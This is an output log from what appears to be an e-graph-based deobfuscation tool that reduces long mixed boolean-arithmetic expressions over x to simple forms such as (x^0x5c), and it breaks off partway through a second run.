Input (cost = 1979): ((((((((((((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c))-((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x1)))+((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c)))*0x67)+0xd)*0x2d)+(((((((((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c))-((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x1)))+((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c)))*0x67)+0xd)*(-0x52))|0x22)*(-0x1b)))+(-0x3e))-(-0x9))*(-0x13))&(-0x1))
====================================================================================================
eclasses #: 163
Synthesized (cost = 3): (x^0x5c)
====================================================================================================
Simplified via runtime oracle (harvesting)
python3 synth.py --use-constants-harvest
eclasses #: 84
Input (cost = 1979): ((((((((((((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c))-((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x1)))+((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c)))*0x67)+0xd)*0x2d)+(((((((((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c))-((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x1)))+((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c)))*0x67)+0xd)*(-0x52))|0x22)*(-0x1b)))+(-0x3e))-(-0x9))*(-0x13))&(-0x1))
====================================================================================================
eclasses #: 132
Synthesized (cost = 473): ((((((((((((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94)-((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e))+(((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94))*0x67)+0xd)*0x2d)+((((((((((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94)-((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e))+(((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94))*0x67)+0xd)*0xae)|0x22)*0xe5))+0xc2)-0xf7)*0xed)
====================================================================================================
eclasses #: 257
Synthesized (cost = 51): ((((((((((((x^0x26)&0x94)*0x67)*0xae)+(-(x^0x26)))*0x67)+0xd)*0x2d)+((((((((((x^0x26)&0x94)*0x67)*0xae)+(-(x^0x26)))*0x67)+0xd)*0xae)|0x22)*0xe5))+0xc2)-0xf7)*0xed)
====================================================================================================
eclasses #: 687
Synthesized (cost = 5): ((x^0x26)^0x7a)
====================================================================================================
eclasses #: 3473
Synthesized (cost = 5): ((x^0x26)^0x7a)
====================================================================================================
eclasses #: 50943
Synthesized (cost = 3): (0x5c^x)
e-graph reset done.
====================================================================================================
Simplified via default term rewriting
python3 synth.py
eclasses #: 84
Input (cost = 1979): ((((((((((((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c))-((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x1)))+((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c)))*0x67)+0xd)*0x2d)+(((((((((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26